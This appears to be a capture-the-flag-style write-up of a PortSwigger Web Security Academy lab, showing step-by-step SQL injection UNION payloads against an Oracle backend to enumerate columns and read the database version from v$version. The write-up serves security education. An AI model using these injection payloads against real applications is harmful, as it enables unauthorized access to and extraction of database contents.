SQL Injection UNION Attack — Retrieving Database Version

Field	Value
Platform	PortSwigger Web Security Academy
Vulnerability	SQL Injection — UNION Attack
Difficulty	Practitioner
Injection Point	category URL parameter
Goal	Retrieve the database version string via UNION injection

---

Phase 1 — Reconnaissance

The application displays blog posts filtered by category. Selecting Lifestyle changes the URL:

/filter?category=Lifestyle

---

Phase 2 — Confirming Injection

Adding a single quote to the URL:

/filter?category=Lifestyle'

Internal server error — 500 status confirmed in DevTools. The application is likely building this query:

SELECT title, body FROM post WHERE category = 'Lifestyle'

Injecting ' breaks the syntax:

SELECT title, body FROM post WHERE category = 'Lifestyle''

Injection confirmed.

---

Phase 3 — Enumerate Column Count

We use ORDER BY to determine how many columns the original query returns. ORDER BY references columns by position — if we reference a position that doesn't exist, the database throws an error.

Starting high:

/filter?category=Lifestyle' ORDER BY 6 -- -

Error. Reducing down to 2:

/filter?category=Lifestyle' ORDER BY 2 -- -

200 OK — the query returns exactly 2 columns.

---

Phase 4 — Test Column Data Types

A UNION SELECT must return the same number of columns as the original query, with compatible data types. Testing both columns with string placeholders:

/filter?category=Lifestyle' UNION SELECT 'a','b' -- -

Internal server error — but not because of column count. The database is Oracle, which requires a FROM clause in every SELECT statement, even when no real table is needed. Oracle provides a built-in single-row dummy table called DUAL for exactly this purpose:

/filter?category=Lifestyle' UNION SELECT 'a','b' FROM dual -- -

The values a and b appear on the page — both columns accept string data and reflect output in the response body.

---

Phase 5 — Retrieve the Database Version

From the SQLi cheat sheet, the Oracle version query is:

SELECT banner FROM v$version

v$version is an Oracle system view that stores the database version string in a column called banner. Since it behaves like a real table, it can be used directly in the UNION — replacing the placeholder 'b' with banner:

/filter?category=Lifestyle' UNION SELECT 'a',banner FROM v$version -- -

The database version string was returned and rendered on the page:

Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

Lab solved.

---

Conclusion

1. A single quote in category caused a 500 error, confirming unsanitized input was passed into the SQL query.
2. ORDER BY enumeration confirmed the query returned 2 columns — required knowledge before attempting a UNION.
3. UNION SELECT 'a','b' -- - failed because the backend was Oracle, which mandates a FROM clause; adding FROM dual resolved it and confirmed both columns accept strings.
4. Substituting banner FROM v$version into the second column of the UNION returned the full Oracle version string in the response body.

---

Key Concepts

ORDER BY for column counting — the cleanest method to determine column count without guessing. Increment until you hit an error, then use the last working number. It avoids the need to try increasingly long UNION SELECT NULL, NULL, NULL... chains.

Oracle's mandatory FROM clause — every SELECT in Oracle must include a FROM. When no real table is needed, FROM dual satisfies the requirement. This is a database fingerprint in itself: if UNION SELECT 'a','b' -- - fails but UNION SELECT 'a','b' FROM dual -- - succeeds, the backend is Oracle.

v$version vs other DBs — each database engine has its own version function. Oracle uses v$version. MySQL/MariaDB uses @@version or version(). PostgreSQL uses version(). Microsoft SQL Server uses @@version. Knowing which to use depends on fingerprinting the DB first — which the dual error gave away here before we even needed to try.

UNION requirements — for a UNION attack to work: the injected SELECT must return the same number of columns as the original query, and the data types of each column must be compatible. Testing with string literals ('a', 'b') first confirms which columns are usable for string exfiltration.